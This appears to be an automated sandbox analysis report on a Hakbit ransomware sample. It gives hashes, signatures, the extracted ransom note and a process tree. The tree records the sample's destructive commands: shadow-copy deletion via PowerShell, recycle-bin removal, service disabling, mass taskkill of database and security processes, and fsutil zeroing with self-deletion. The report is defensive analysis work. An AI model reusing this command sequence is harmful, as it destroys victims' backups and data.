Overview

overview

10

Static

static

10

08751be484...2d.dll

windows7_x64

10

08751be484...2d.dll

windows10_x64

10

0a9f79abd4...51.exe

windows7_x64

3

0a9f79abd4...51.exe

windows10_x64

3

0di3x.bin.exe

windows7_x64

10

0di3x.bin.exe

windows10_x64

10

1.bin/1.exe

windows7_x64

10

1.bin/1.exe

windows10_x64

10

4a30275f14...ab.dll

windows7_x64

10

4a30275f14...ab.dll

windows10_x64

1

2019-09-02...10.exe

windows7_x64

10

2019-09-02...10.exe

windows10_x64

10

2b5e50bc30...ba.dll

windows7_x64

10

2b5e50bc30...ba.dll

windows10_x64

10

2c01b00772...eb.exe

windows7_x64

10

2c01b00772...eb.exe

windows10_x64

1

31.exe

windows7_x64

10

31.exe

windows10_x64

10

3DMark 11 ...on.exe

windows7_x64

1

3DMark 11 ...on.exe

windows10_x64

1

42f9729255...61.exe

windows7_x64

10

42f9729255...61.exe

windows10_x64

10

42f9729255...1).exe

windows7_x64

10

42f9729255...1).exe

windows10_x64

10

5da0116af4...18.exe

windows7_x64

8

5da0116af4...18.exe

windows10_x64

8

69c56d12ed...6b.exe

windows7_x64

10

69c56d12ed...6b.exe

windows10_x64

10

6a9e7107c9...91.exe

windows7_x64

10

6a9e7107c9...91.exe

windows10_x64

10

905d572f23...50.exe

windows7_x64

1

905d572f23...50.exe

windows10_x64

1

Resubmissions

03-07-2024 16:04

240703-thygmaycpc 10

01-07-2024 18:12

240701-ws6xvswbkj 10

01-07-2024 18:03

240701-wm5sls1gka 10

01-07-2024 18:03

240701-wm39sa1gjf 10

01-07-2024 18:03

240701-wm2e7avhkj 10

01-07-2024 18:03

240701-wmzxcs1fre 10

01-07-2024 18:02

240701-wmzats1frc 10

01-07-2024 18:02

240701-wmvbwa1fqh 10

22-11-2023 17:02

231122-vkac9adg64 10

Analysis

  • max time kernel
    50s
  • max time network
    43s
  • platform
    windows7_x64
  • resource
    win7v20201028
  • submitted
    19-01-2021 19:24

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe

  • Size

    80KB

  • MD5

    8152a3d0d76f7e968597f4f834fdfa9d

  • SHA1

    c3cf05f3f79851d3c0d4266ab77c8e3e3f88c73e

  • SHA256

    69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b

  • SHA512

    eb1a18cb03131466a4152fa2f6874b70c760317148684ca9b95044e50dc9cd19316d6e68e680ce18599114ba73e75264de5dab5afe611165b9c6c0b5f01002b4

Score
10/10
hakbitransomwarespyware

Malware Config

Extracted

Path

C:\Users\Admin\Desktop\HOW_TO_DECYPHER_FILES.txt

Family

hakbit

Ransom Note
To recover your data contact the email below [email protected] Key Identifier: PhBbquY7Gjdt5ZL+KaKK9pLYeJBlwTNN/0RmZZwJqYbO9X7VaewY7nS5Bq5CTwShm50H6Vm2BVW3wsyyfvCnm/Ul6swxxudQkwuyXsCOAc/perCj44tb8BX2wn7BWVEL8PBB7bgbhED38tbnnJFhxlRMcIcfMBOECPbUD59qRgY6BzRCdeyUGRHwFo/jRkwWmAwdUr43a2mzKv/zI9/uaLFt8Bh+ToRBN+x22gG29/vj020o0SoWAaejWSVOHXmOx8p464FxBMdOChNMYH9xQeHWM0Ktk+6UEtMDfj1pA7XGJDV+Klq2Bs55cMWTwUwP4mU/7+t0MMGKjQxRNBq3azauol6Sk8J8Z8GkD/SM1D8X2G5GXloEn4Pu1NQxMc6A8OeGvxBRYxCf6t6TxuLyakJNTm60QCq473LxPRnp/9s6z/UAFPkud+YREc3JuXHicPFWvuTCt5ZZels8VAFY6F+2Y9XzuIYBdzlO+3Em0vPoNmIVs6JGWp1Vk2HCryhw3lc8zq0qkGSVZ569GNV6jpdz4ceLE8XQ+2DVPZF+rHegoDszqQ2tV9R45qsYiLRdWkkDUwL/kNPvzQUolMM9Gj3W2GHsn+jvObEsdt8nJlebgjkgtEGdl9VLXIKZYuXKgqliGhMPo8oiQpa9takRcWg8AXZFLuzzfdLnPTIO+kw= Number of files that were processed is: 421

Signatures

  • Hakbit

    Ransomware which encrypts files using AES, first seen in November 2019.

    ransomwarehakbit
  • Deletes itself 1 IoCs
  • Drops startup file 1 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spyware
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Kills process with taskkill 47 IoCs
    evasion
  • Opens file in notepad (likely ransom note) 1 IoCs
    ransomware
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 22684 IoCs
  • Suspicious use of AdjustPrivilegeToken 48 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SendNotifyMessage 1 IoCs
  • Suspicious use of WriteProcessMemory 177 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe
    "C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe"
    1⤵
    • Drops startup file
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of WriteProcessMemory
    PID:1036
    • C:\Windows\system32\cmd.exe
      "cmd.exe" /c rd /s /q %SYSTEMDRIVE%\$Recycle.bin
      2⤵
        PID:1984
      • C:\Windows\system32\sc.exe
        "sc.exe" config SQLTELEMETRY start= disabled
        2⤵
          PID:1968
        • C:\Windows\system32\sc.exe
          "sc.exe" config SQLTELEMETRY$ECWDB2 start= disabled
          2⤵
            PID:668
          • C:\Windows\system32\sc.exe
            "sc.exe" config SstpSvc start= disabled
            2⤵
              PID:912
            • C:\Windows\system32\sc.exe
              "sc.exe" config SQLWriter start= disabled
              2⤵
                PID:592
              • C:\Windows\system32\taskkill.exe
                "taskkill.exe" /IM mspub.exe /F
                2⤵
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:792
              • C:\Windows\system32\taskkill.exe
                "taskkill.exe" /IM mydesktopqos.exe /F
                2⤵
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:1804
              • C:\Windows\system32\taskkill.exe
                "taskkill.exe" /IM mysqld.exe /F
                2⤵
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:1720
              • C:\Windows\system32\taskkill.exe
                "taskkill.exe" /IM sqbcoreservice.exe /F
                2⤵
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:1772
              • C:\Windows\system32\taskkill.exe
                "taskkill.exe" /IM steam.exe /F
                2⤵
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:1312
              • C:\Windows\system32\taskkill.exe
                "taskkill.exe" /IM thebat.exe /F
                2⤵
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:1208
              • C:\Windows\system32\taskkill.exe
                "taskkill.exe" /IM agntsvc.exe /F
                2⤵
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:1468
              • C:\Windows\system32\taskkill.exe
                "taskkill.exe" /IM firefoxconfig.exe /F
                2⤵
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:1672
              • C:\Windows\system32\taskkill.exe
                "taskkill.exe" /IM mydesktopservice.exe /F
                2⤵
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:1692
              • C:\Windows\system32\taskkill.exe
                "taskkill.exe" /IM encsvc.exe /F
                2⤵
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:604
              • C:\Windows\system32\taskkill.exe
                "taskkill.exe" /IM excel.exe /F
                2⤵
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:824
              • C:\Windows\system32\taskkill.exe
                "taskkill.exe" /IM CNTAoSMgr.exe /F
                2⤵
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:840
              • C:\Windows\system32\taskkill.exe
                "taskkill.exe" /IM tbirdconfig.exe /F
                2⤵
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:820
              • C:\Windows\system32\taskkill.exe
                "taskkill.exe" /IM dbeng50.exe /F
                2⤵
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:364
              • C:\Windows\system32\taskkill.exe
                "taskkill.exe" /IM sqlwriter.exe /F
                2⤵
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:1020
              • C:\Windows\system32\taskkill.exe
                "taskkill.exe" /IM thebat64.exe /F
                2⤵
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:740
              • C:\Windows\system32\taskkill.exe
                "taskkill.exe" /IM infopath.exe /F
                2⤵
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:1736
              • C:\Windows\system32\taskkill.exe
                "taskkill.exe" /IM ocomm.exe /F
                2⤵
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:416
              • C:\Windows\system32\taskkill.exe
                "taskkill.exe" /IM mbamtray.exe /F
                2⤵
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:1712
              • C:\Windows\system32\taskkill.exe
                "taskkill.exe" /IM zoolz.exe /F
                2⤵
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:728
              • C:\Windows\system32\taskkill.exe
                "taskkill.exe" IM thunderbird.exe /F
                2⤵
                • Kills process with taskkill
                PID:1492
              • C:\Windows\system32\taskkill.exe
                "taskkill.exe" /IM xfssvccon.exe /F
                2⤵
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:1552
              • C:\Windows\system32\taskkill.exe
                "taskkill.exe" /IM isqlplussvc.exe /F
                2⤵
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:324
              • C:\Windows\system32\taskkill.exe
                "taskkill.exe" /IM Ntrtscan.exe /F
                2⤵
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:1632
              • C:\Windows\system32\taskkill.exe
                "taskkill.exe" /IM mspub.exe /F
                2⤵
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:1132
              • C:\Windows\system32\taskkill.exe
                "taskkill.exe" /IM dbsnmp.exe /F
                2⤵
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:936
              • C:\Windows\system32\taskkill.exe
                "taskkill.exe" /IM onenote.exe /F
                2⤵
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:1780
              • C:\Windows\system32\taskkill.exe
                "taskkill.exe" /IM PccNTMon.exe /F
                2⤵
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:1768
              • C:\Windows\system32\taskkill.exe
                "taskkill.exe" /IM msaccess.exe /F
                2⤵
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:428
              • C:\Windows\system32\taskkill.exe
                "taskkill.exe" /IM outlook.exe /F
                2⤵
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:1388
              • C:\Windows\system32\taskkill.exe
                "taskkill.exe" /IM tmlisten.exe /F
                2⤵
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:940
              • C:\Windows\system32\taskkill.exe
                "taskkill.exe" /IM msftesql.exe /F
                2⤵
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:668
              • C:\Windows\system32\taskkill.exe
                "taskkill.exe" /IM powerpnt.exe /F
                2⤵
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:1788
              • C:\Windows\system32\taskkill.exe
                "taskkill.exe" /IM mydesktopqos.exe /F
                2⤵
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:1484
              • C:\Windows\system32\taskkill.exe
                "taskkill.exe" /IM visio.exe /F
                2⤵
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:1588
              • C:\Windows\system32\taskkill.exe
                "taskkill.exe" /IM mydesktopservice.exe /F
                2⤵
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:2104
              • C:\Windows\system32\taskkill.exe
                "taskkill.exe" /IM mysqld-nt.exe /F
                2⤵
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:2172
              • C:\Windows\system32\taskkill.exe
                "taskkill.exe" /IM winword.exe /F
                2⤵
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:2140
              • C:\Windows\system32\taskkill.exe
                "taskkill.exe" /IM wordpad.exe /F
                2⤵
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:2848
              • C:\Windows\system32\taskkill.exe
                "taskkill.exe" /IM mysqld-opt.exe /F
                2⤵
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:2860
              • C:\Windows\system32\taskkill.exe
                "taskkill.exe" /IM ocautoupds.exe /F
                2⤵
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:2896
              • C:\Windows\system32\taskkill.exe
                "taskkill.exe" /IM oracle.exe /F
                2⤵
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:2940
              • C:\Windows\system32\taskkill.exe
                "taskkill.exe" /IM sqlagent.exe /F
                2⤵
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:2980
              • C:\Windows\system32\taskkill.exe
                "taskkill.exe" /IM ocssd.exe /F
                2⤵
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:2908
              • C:\Windows\system32\taskkill.exe
                "taskkill.exe" /IM sqlservr.exe /F
                2⤵
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:2184
              • C:\Windows\system32\taskkill.exe
                "taskkill.exe" /IM sqlbrowser.exe /F
                2⤵
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:3048
              • C:\Windows\system32\taskkill.exe
                "taskkill.exe" /IM synctime.exe /F
                2⤵
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:1536
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                "powershell.exe" & Get-WmiObject Win32_Shadowcopy | ForEach-Object { $_Delete(); }
                2⤵
                • Suspicious use of AdjustPrivilegeToken
                PID:2956
              • C:\Windows\System32\cmd.exe
                "C:\Windows\System32\cmd.exe" "/C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe
                2⤵
                • Deletes itself
                PID:2792
                • C:\Windows\system32\choice.exe
                  choice /C Y /N /D Y /T 3
                  3⤵
                    PID:1208
                • C:\Windows\system32\cmd.exe
                  "cmd.exe" /C ping 127.0.0.7 -n 3 > Nul & fsutil file setZeroData offset=0 length=524288 “%s” & Del /f /q “%s”
                  2⤵
                    PID:2496
                    • C:\Windows\system32\PING.EXE
                      ping 127.0.0.7 -n 3
                      3⤵
                      • Runs ping.exe
                      PID:2480
                    • C:\Windows\system32\fsutil.exe
                      fsutil file setZeroData offset=0 length=524288 “%s”
                      3⤵
                        PID:2252
                    • C:\Windows\System32\notepad.exe
                      "C:\Windows\System32\notepad.exe" C:\Users\Admin\Desktop\HOW_TO_DECYPHER_FILES.txt
                      2⤵
                      • Opens file in notepad (likely ransom note)
                      PID:2712

                  Network

                  MITRE ATT&CK Enterprise v6

                  Replay Monitor

                  Loading Replay Monitor...

                  Downloads

                  • memory/1036-14-0x000000001AAD0000-0x000000001AAD2000-memory.dmp

                    Filesize

                    8KB

                    Download

                  • memory/1036-3-0x0000000001340000-0x0000000001341000-memory.dmp

                    Filesize

                    4KB

                    Download

                  • memory/1036-2-0x000007FEF60E0000-0x000007FEF6ACC000-memory.dmp

                    Filesize

                    9.9MB

                    Download

                  • memory/2956-64-0x000000001A984000-0x000000001A986000-memory.dmp

                    Filesize

                    8KB

                    Download

                  • memory/2956-65-0x0000000002550000-0x0000000002551000-memory.dmp

                    Filesize

                    4KB

                    Download

                  • memory/2956-66-0x00000000023F0000-0x00000000023F1000-memory.dmp

                    Filesize

                    4KB

                    Download

                  • memory/2956-63-0x000000001A980000-0x000000001A982000-memory.dmp

                    Filesize

                    8KB

                    Download

                  • memory/2956-62-0x000000001AA00000-0x000000001AA01000-memory.dmp

                    Filesize

                    4KB

                    Download

                  • memory/2956-61-0x0000000002510000-0x0000000002511000-memory.dmp

                    Filesize

                    4KB

                    Download

                  • memory/2956-60-0x000007FEF60E0000-0x000007FEF6ACC000-memory.dmp

                    Filesize

                    9.9MB

                    Download

                  • memory/2956-59-0x000007FEFC1D1000-0x000007FEFC1D3000-memory.dmp

                    Filesize

                    8KB

                    Download